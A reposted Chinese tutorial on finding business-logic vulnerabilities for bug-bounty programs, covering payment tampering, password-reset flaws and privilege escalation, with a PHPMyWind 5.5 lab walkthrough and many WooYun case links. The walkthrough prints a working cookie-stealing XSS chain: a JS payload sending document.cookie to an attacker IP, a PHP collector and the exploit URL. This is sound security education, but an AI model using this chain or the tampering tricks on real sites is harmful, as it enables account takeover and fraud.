SRC邏輯漏洞挖掘詳解以及思路和技巧


SRC邏輯漏洞挖掘詳解以及思路和技巧

作者:Ca01H 
公眾號:HACK學習呀 
原文鏈接:https://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247488715&idx=1&sn=da788c044e2340cb4573739fa1d2237a&chksm=ec1f41f4db68c8e2dd526dca90aab30747edfa0bab8c038209f6fc1fa377064cf3d25d1bd875&scene=21#wechat_redirect
 
 

0X00   邏輯漏洞概述

由於程序邏輯不嚴謹或邏輯太過復雜,導致一些邏輯分支不能正常處理或處理錯誤,統稱為業務邏輯漏洞。常見的邏輯漏洞有交易支付、密碼修改、密碼找回、越權修改、越權查詢、突破限制等,下圖是簡單的邏輯漏洞總結,在挖掘的過程中更多的時候需要腦洞大開:

 

 

 

挖掘邏輯漏洞的過程中,需要一些技巧和非常規思路,有點像邊緣測試的思想。一般的思路是:

確定業務流程--->尋找流程中可以被操控的環節--->分析可被操控環節中可能產生的邏輯問題--->嘗試修改參數觸發邏輯問題

 

0X01 邏輯漏洞分類

0X01:飲料販賣機
替換訂單ID,創建訂單時在支付界面,在此創建訂單替換訂單ID(高價替換低價)無限新用戶優惠訂單,重復創建優惠訂單替換優惠卷ID(未達到條件使用)個別情況訂單數量為1.99時,客戶端只支付1元,實際上服務器認為支付了2元。取貨時並發(真實案例)
0X02:直播
快速進出房間炸房無限發送點贊協議修改禮物數量,0,小數,負數,特定值(一般情況下為1073741824)修改禮物ID,遍歷嘗試是否有隱藏ID。並發送禮物,抽獎無限創建首次優惠訂單,有些首次優惠訂單是一個特殊的pid,這種的直接替換pid進行支付。有些是相同的ID,這種的提前創建訂單,記錄多個訂單號在依次修改訂單支付。刷屏:發言刷屏,分享,點贊等有提示的地方刷屏房間內可以申請的地方進行申請取消操作,看看是否能炸房。越權踢人,增加管理員,關閉房間等操作。發送的表情是否可以修改長寬(真實案例)
0X03 :購物app
購買數量:為0,小數,負數,正負值(A為-1,B為2,總值為1)代金卷:並發領取,遍歷領取,同一個代金卷重復使用,未滿足條件使用代金卷越權:登陸,操作別人訂單,修改資料
0X04:外賣
商品數量,0,負數,小數,特定值,正負數(A為-1,B為2,總值為1)送餐員評價修改,星級,打賞金額(小數,負數)商品評價,星級,評論字數,上傳圖片是否可以自定義格式,訂單超出送餐地址強行貨到付款,取消訂單,退款越權操作別人訂單,登陸優惠購買會員(重復使用優惠購買)
0X05:交易平台
錢包並發提現,負數提現使用錢包支付時多個訂單並發支付(是否支付金額能大於余額)轉賬負數,並發轉賬上架商品突破限制,例如數量,字數。替換訂單,創建訂單號如果訂單狀態可修改,先進到支付界面,然后將訂單修改成更大的金額,然后支付提前進入的支付界面數量修改
0X06:社交
強行舉報(讀取本地消息上傳那種)強行加好友(一般嘗試重發通過好友這條協議)自由修改號碼(靚號類)群管理無限禁言越權禁言,替人,拉黑會員修改金額,數量。無限優惠購買非會員使用會員功能
0X07:漫畫
打賞金額為負數,小數,特定值(溢出)越權刪除評論,登陸修改充值金額付費漫畫免費看評論圖片數量過多會導致客戶端加載卡死
0X08:音樂
唱歌類軟件修改上傳分數等參數付費下載嘗試替換下載ID修改付費下載金額F12查看下是否有歌曲地址
0X09:網約車
無限叫車,重復發送協議造成市場混亂修改評價分數修改限時優惠叫車關鍵參數替換優惠卷越權操作其他訂單

  

業務邏輯漏洞需要對業務熟悉,有很強的邏輯思維能力,所以下面主要描述一下ZZCMS8.1中注冊、登錄和密碼找回出現的漏洞邏輯,再盡量多和全的收集整理相關場景。

0X02   邏輯漏洞利用實例

PHPMyWind 5.5

由於網上沒有找到PHPMyWind5.5的源碼,只能看看其他師傅分析的文章,這里就再大概復述一遍。

首先對實驗環境做一個簡單說明:

服務器 192.168.114.159 部署有“PHPMyWind 5.5”
攻擊機(safedog) 192.168.114.1 部署有能“收集PHPMyWind用戶的Cookie”的PHP腳本、JS腳本
受害者(victim) 192.168.114.161 可通過瀏覽器訪問“服務器”上的“PHPMyWind”網站

 

 

 

1.過程1代表攻擊者safedog通過郵件等方式發送惡意鏈接(嵌有可盜取並發送Cookie的JS腳本)給受害者victim;

2.過程2代表在受害者victim受誘導點擊惡意鏈接后,會經由瀏覽器將攻擊者safedog嵌入的JS腳本當做數據發送給服務器上的PHPMyWind網站的反射型XSS漏洞點;

3.過程3與過程4代表PHPMyWind網站在受到反射型XSS攻擊后,會執行JS腳本,將受害者victim的Cookie返回給受害者victim,並發送給攻擊者safedog。 

4.過程5代表攻擊者safedog在獲得受害者victim的Cookie后,利用受害者victim的Cookie與PHPMyWind網站的邏輯漏洞點進行密碼重置攻擊。

 

反射型XSS

攻擊者搭建可接收受害者Cookie的PHP網站;

該PHP網站由“ReflectiveXSS.js”“ReflectiveXSS.php”和“cookie.txt”這3個文件構成。

其中“ReflectiveXSS.js”用於針對服務器端PHPMyWind網站的反射型XSS漏洞竊取受害者victim的Cookie,並將該Cookie值傳輸給ReflectiveXSS.php;“ReflectiveXSS.php”用於接收名為“victimcookie”的GET請求,並將“victimcookie”的參數值保存到“cookie.txt”。

ReflectiveXSS.js的代碼如下:

//通過指定的名稱'img'創建img元素
var img = document.createElement('img');
img.width = 0;
img.height = 0;

//將img元素的src屬性指向腳本文件ReflectiveXSS.php
//將cookie信息的字符串作為URI組件進行編碼,然后用victimcookie參數傳遞
img.src = 'http://192.168.114.1/safedog-attack/ReflectiveXSS.php?victimcookie='+encodeURIComponent(document.cookie);

  ReflectiveXSS.php的代碼如下:

<?php
    @ini_set('display_errors',1);
    $str = $_GET['victimcookie'];
    $filePath = "cookie.txt";

    if(is_writable($filePath)==false){
         echo "can't write";
    }else{
          $handler = fopen($filePath, 'a');
          fwrite($handler, $str);
          fclose($handler);
    }

?>

  

出發XSS漏洞的EXP:

http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod<script src=http://192.168.114.1/safedog-attack/ReflectiveXSS.js></script>

  

該漏洞出現的文件路徑為:/data/api/oauth/connect.php,其中的代碼段:

if(method_exists($connect, $method))
    $connect->method();
else
    echo "請求的方法[" . $method . "不存在";

  

if判斷的作用是“判斷函數名是否存在”,代碼的邏輯是“如果函數名不存在,則在PHP頁面輸出函數名”,這一做法會造成反射型XSS漏洞。

任意密碼重置

該漏洞出現的文件路徑為:/member.php

//檢測舊密碼是否正確
if($password != '')
{
    $oldpassword = md5(md5($oldpassword));
    $r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'");
    if($r['password'] != $oldpassword)
    {
        ShowMsg(msg: '抱歉,舊密碼錯誤!', gourl: '-1');
        exit();
    }
}

$sql = "UPDATE `#@__member` SET";
if($password != '')
{
    $password = md5(md5($password));
    $sql .= "password='$password',";
}
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id='$id' AND `username`='$c_uname'";
if($dosql->ExecNoneQuery($sql))
{
    ShowMsg(msg: '資料更新成功', gourl: '?c=edit');
    exit();
}

  

在這里之所以要使用XSS獲取cookie,是因為當SQL語句滿足條件id='$id' AND username ='$c_uname';時,才可進行update操作。變量c_uname值(明文)來源於AuthCode($_COOKIE['username']),即先取得Cookie中username(密文)的值,然后通過AuthCode函數配合配置文件中的密鑰來獲取明文。第一個if判斷的作用是“判斷用戶提交的新密碼是否為空”,在用戶提交的新密碼不為空的情況下,才會進行‘舊密碼的比對’,如果提交的舊密碼和數據庫的查詢結果不一致,則不允許繼續進行更換密碼的操作。第二個if判斷的作用仍為“判斷用戶提交的新密碼是否為空”,在用戶提交的新密碼不為空的情況下,對新密碼進行哈希運算,隨后進行SQL語句的拼接。這兩個if語句存在了邏輯漏洞。因為,如果我們提交的新密碼(password變量和repassword變量)為空,則可以繞過對舊密碼(oldpassword變量)的驗證。

PHPMyWind采用Cookie保存混淆化的用戶登錄信息。因為配置文件中的密鑰是在CMS搭建時隨機生成的,算法也不可逆,因此要在知道c_name變量的前提下,從正向偽造username等變量,以通過權限驗證具有較大難度。為獲取Cookie中的username等值,可考慮借助反射型XSS漏洞。

 

0X03 其他實例

現在wooyun已經沒了,只能在一些鏡像網站看漏洞合集,以邏輯漏洞為關鍵詞搜索到了186個相關漏洞,基本上把每個漏洞都過了一遍,也沒辦法復現,記錄一些比較有代表性的案例,權當搜集思路吧。

1.支付業務相關邏輯漏洞

常見手法

1.修改金額;

2.修改商品數量;

3.修改優惠金額;

4.修改數量、單價,優惠價格參數為負數、小數,無限大;

5.商品價格更改;

6.支付key泄露等。

 

實際安全中會有一些比較特別的,反正各種能改的參數都去嘗試。個數單價-優惠券個數單價=總額,每個值都可能存在問題,就看服務自身處理是否有問題了。

順豐寶業務邏輯漏洞:數量和金額沒有做簽名

https://wooyun.x10sec.org/static/bugs/wooyun-2011-02272.html

移動手機支付業務邏輯漏洞:爆破四位驗證碼

https://wooyun.x10sec.org/static/bugs/wooyun-2011-02513.html

新東方邏輯支付漏洞:修改運費金額為負數,使得課程金額+運費大於0即可

https://wooyun.x10sec.org/static/bugs/wooyun-2013-019761.html

中國零食網支付邏輯漏洞:同上

https://wooyun.x10sec.org/static/bugs/wooyun-2014-074483.html

阿里雲計算按量付費邏輯漏洞一枚(低價享受超級主機):經過base64編碼的數據可以被篡改,並且后端會接受篡改的數據

https://wooyun.x10sec.org/static/bugs/wooyun-2013-023789.html

樂視商城支付邏輯漏洞(價格可更改):價格參數明文顯示在url,可以直接更改

https://wooyun.x10sec.org/static/bugs/wooyun-2013-036787.html

再次挖掘樂視商城支付邏輯漏洞:同上

https://wooyun.x10sec.org/static/bugs/wooyun-2014-053181.html

讀覽天下支付邏輯漏洞可刷充值金額:替換支付訂單號

https://wooyun.x10sec.org/static/bugs/wooyun-2014-051673.html

益盟愛炒股商城支付邏輯漏洞:修改Cookie中的參數值

https://wooyun.x10sec.org/static/bugs/wooyun-2015-093365.html

餓了么邏輯漏洞之免費吃喝不是夢手機號+;+手機號繞過服務器對手機號碼的次數限制

https://wooyun.x10sec.org/static/bugs/wooyun-2015-0125060.html

七夕單身專場之性多多免費刷成人用品(支付邏輯漏洞):改負數刷代幣

https://wooyun.x10sec.org/static/bugs/wooyun-2015-0135459.html

大疆某處支付邏輯漏洞可1元買無人機:https改為http訪問,修改支付的參數

https://wooyun.x10sec.org/static/bugs/wooyun-2016-0194751.html

 

2.密碼找回相關邏輯漏洞

常見手法

1.找回密碼的驗證碼為四位數字可爆破真實驗證碼;

2.采用本地驗證,可以先嘗試修改自己的帳號密碼,保存正確的返回包,然后修改他人密碼的時候替換返回包;

3.最終修改密碼的數據包,以另外的ID作為身份判斷(例如userid),而該ID在別處可以獲取到;

4.接受驗證碼的手機號修改為自己的號碼,然后輸入自己的號碼接收到的驗證碼去進行密碼重置;

5.獲取驗證碼的時候,會生成一個身份標識(例如cookie值),那么我們就替換他人賬號的身份證重置他人的密碼;

 

具體可以去i春秋看carry_your發過的一篇專門針對

密碼重置的視頻https://www.ichunqiu.com/course/59045

用戶憑證暴力破解

四位或者六位的純數字

WooYun: 當當網任意用戶密碼修改漏洞

https://wooyun.x10sec.org/static/bugs/wooyun-2012-011833.html

WooYun: 微信任意用戶密碼修改漏洞

https://wooyun.x10sec.org/static/bugs/wooyun-2012-011720.html

返回憑證

url返回驗證碼及token

WooYun: 走秀網秀團任意密碼修改缺陷

https://wooyun.x10sec.org/static/bugs/wooyun-2012-05630.html

WooYun: 天天網任意賬戶密碼重置(二)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-058210.html

密碼找回憑證在頁面中

通過密保問題找回密碼

WooYun: sohu郵箱任意用戶密碼重置

https://wooyun.x10sec.org/static/bugs/wooyun-2012-04728.html

返回短信驗證碼

WooYun: 新浪某站任意用戶密碼修改(驗證碼與取回邏輯設計不當)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-085124.html

郵箱弱token

時間戳的md5

WooYun: 奇虎360任意用戶密碼修改漏洞

https://wooyun.x10sec.org/static/bugs/wooyun-2012-08333.html

用戶名 & 服務器時間

WooYun: 中興某網站任意用戶密碼重置漏洞(經典設計缺陷案例)

https://wooyun.x10sec.org/static/bugs/wooyun-2015-090226.html

用戶憑證有效性

短信驗證碼

WooYun: OPPO手機重置任意賬戶密碼(3)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-053349.html

WooYun: 第二次重置OPPO手機官網任意賬戶密碼(秒改)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-053079.html

WooYun: OPPO修改任意帳號密碼

https://wooyun.x10sec.org/static/bugs/wooyun-2013-020032.html

郵箱token

WooYun: 身份通任意密碼修改-泄漏大量公民信息

https://wooyun.x10sec.org/static/bugs/wooyun-2012-012572.html

重置密碼token

WooYun: 魅族的賬號系統內存在漏洞可導致任意賬戶的密碼重置

https://wooyun.x10sec.org/static/bugs/wooyun-2014-078208.html

重新綁定

WooYun: 網易郵箱可直接修改其他用戶密碼

https://wooyun.x10sec.org/static/bugs/wooyun-2012-08307.html

WooYun: 如家酒店某嚴重邏輯漏洞可登陸任意賬號可導致幾千萬敏感信息泄露(涉及任意用戶賬號個人基本信息、入住記錄等)

https://wooyun.x10sec.org/static/bugs/wooyun-2015-0115537.html

Wooyun: 華住酒店官網某嚴重邏輯漏洞可登陸任意賬號(涉及任意用戶賬號個人基本信息、入住記錄等)

https://wooyun.x10sec.org/static/bugs/wooyun-2015-0115276.html

WooYun: 12308可修改任意用戶密碼

https://wooyun.x10sec.org/static/bugs/wooyun-2014-081467.html

郵箱綁定

WooYun: 某彩票設計缺陷可修改任意用戶密碼

https://wooyun.x10sec.org/static/bugs/wooyun-2015-092319.html

WooYun: 中國工控網任意用戶密碼重置漏洞

https://wooyun.x10sec.org/static/bugs/wooyun-2014-086726.html

服務器驗證

WooYun: 攜程旅行網任意老板密碼修改(慶在wooyun第100洞)

https://wooyun.x10sec.org/static/bugs/wooyun-2013-018263.html

服務器驗證可控內容

WooYun: AA拼車網之任意密碼找回2

https://wooyun.x10sec.org/static/bugs/wooyun-2014-080278.html

WooYun: 四川我要去哪517旅行網重置任意賬號密碼漏洞

https://wooyun.x10sec.org/static/bugs/wooyun-2014-082582.html

服務器驗證驗證邏輯為空

WooYun: 某政企使用郵件系統疑似存在通用設計問題

https://wooyun.x10sec.org/static/bugs/wooyun-2014-088927.html

用戶身份驗證

賬號與手機號碼的綁定

WooYun: 上海電信通行證任意密碼重置

https://wooyun.x10sec.org/static/bugs/wooyun-2014-075941.html

賬號與郵箱賬號的綁定

WooYun: 魅族的賬號系統內存在漏洞可導致任意賬戶的密碼重置

https://wooyun.x10sec.org/static/bugs/wooyun-2014-078208.html

WooYun: 和訊網修改任意用戶密碼漏洞

https://wooyun.x10sec.org/static/bugs/wooyun-2015-091216.html

找回步驟

跳過驗證步驟、找回方式,直接到設置新密碼頁面

WooYun: OPPO手機同步密碼隨意修改,短信通訊錄隨意查看

https://wooyun.x10sec.org/static/bugs/wooyun-2013-042404.html

WooYun: 中國電信某IDC機房信息安全管理系統設計缺陷致使系統淪陷

https://wooyun.x10sec.org/static/bugs/wooyun-2015-098765.html

本地驗證

在本地驗證服務器的返回信息,確定是否執行重置密碼,但是其返回信息是可控的內容,或者可以得到的內容

WooYun: 看我如何重置樂峰網供應商管理系統任意用戶密碼(管理員已被重置)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-083035.html

WooYun: oppo重置任意用戶密碼漏洞(4)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-069987.html

發送短信等驗證信息的動作在本地進行,可以通過修改返回包進行控制

WooYun: OPPO修改任意帳號密碼-3

https://wooyun.x10sec.org/static/bugs/wooyun-2013-020532.html

WooYun: OPPO修改任意帳號密碼-2

https://wooyun.x10sec.org/static/bugs/wooyun-2013-020425.html

注入

在找回密碼處存在注入漏洞

WooYun: 用友人力資源管理軟件(e-HR)另一處SQL注入漏洞(通殺所有版本)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-068060.html

Token生成

token生成可控

WooYun: 天天網任意賬號密碼重置(非暴力溫柔修改)

https://wooyun.x10sec.org/static/bugs/wooyun-2015-094242.html

WooYun: 天天網再一次重置任意賬號密碼(依舊非暴力)

https://wooyun.x10sec.org/static/bugs/wooyun-2015-095729.html

注冊覆蓋

注冊重復的用戶名

WooYun: 中鐵快運奇葩方式重置任意用戶密碼(admin用戶演示)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-088708.html

session覆蓋

WooYun: 聚美優品任意修改用戶密碼(非爆破)

https://wooyun.x10sec.org/static/bugs/wooyun-2014-085843.html

 

3.越權相關邏輯漏洞

越權漏洞是Web應用程序中一種常見的安全漏洞。它的威脅在於一個賬戶即可控制全站用戶數據。當然這些數據僅限於存在漏洞功能對應的數據。越權漏洞的成因主要是因為開發人員在對數據進行增、刪、改、查詢時對客戶端請求的數據過分相信而遺漏了權限的判定。所以測試越權就是和開發人員拼細心的過程。

常見手法

1.操作時分析請求中的數據包,看看每個參數的作用,修改參數查看變化。

2.擁有更多權限的賬號,把能訪問的URL都提取出來,給低權限用戶訪問或者直接訪問,查看能否訪問。

3.猜測隱藏的API,如:guest/getorder,修改成admin/getorder。

4.通過搜索引擎,或者提取JS中的URL,查找隱藏功能。如burpsuite中有一個BHP JS scraper的插件。

5.猜測隱藏的參數,添加進去查看變化,如修改信息的時候加個ID。

6.抓取所有的數據包,搜索用戶名等關鍵詞,比如我的用戶名是test,在burpsuite中的HTTP history搜索test,看看有沒有哪個數據包包含這個參數,將其修改為其他的用戶名,查看變化。

 

 

JSRC——越權漏洞挖掘

JSRC——聊聊越權那些事

 

我的越權之道

https://wooyun.x10sec.org/static/drops/tips-727.html

 

垂直越權的手法:

1.編輯個人信息的時候,修改權限組的id,一般管理員的值為0或者1;

2.后台修改密碼的地方,如果是根據userid來修改密碼的,可以修改id的值來修改管理員的密碼;

3.在個人資料處插入XSS腳本,一般能打到管理員cookie的概率很大;

4.查看個人資料的時候,如果是根據id來顯示,一般都有越權,可以遍歷id獲取管理員信息;

5.測試后台功能,找一下注入、上傳、命令執行等漏洞,直接拿下數據庫權限或者shell,再找管理員權限就輕而易舉了。

 

其他資料

業務邏輯漏洞總結:https://github.com/PyxYuYu/MyBlog/issues/102

JSRC——業務邏輯漏洞挖掘

JSRC——交易支付漏洞挖掘

JSRC——Web漏洞之邏輯漏洞挖掘

JSRC——批量Web漏洞挖掘

 

Reference

[紅日安全]Web安全Day6 - 業務邏輯漏洞實戰攻防

https://xz.aliyun.com/t/6401#toc-5

密碼找回邏輯漏洞總結

http://bobao.360.cn/learning/detail/287.html

 

參考來源:Ca01H's Blog

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM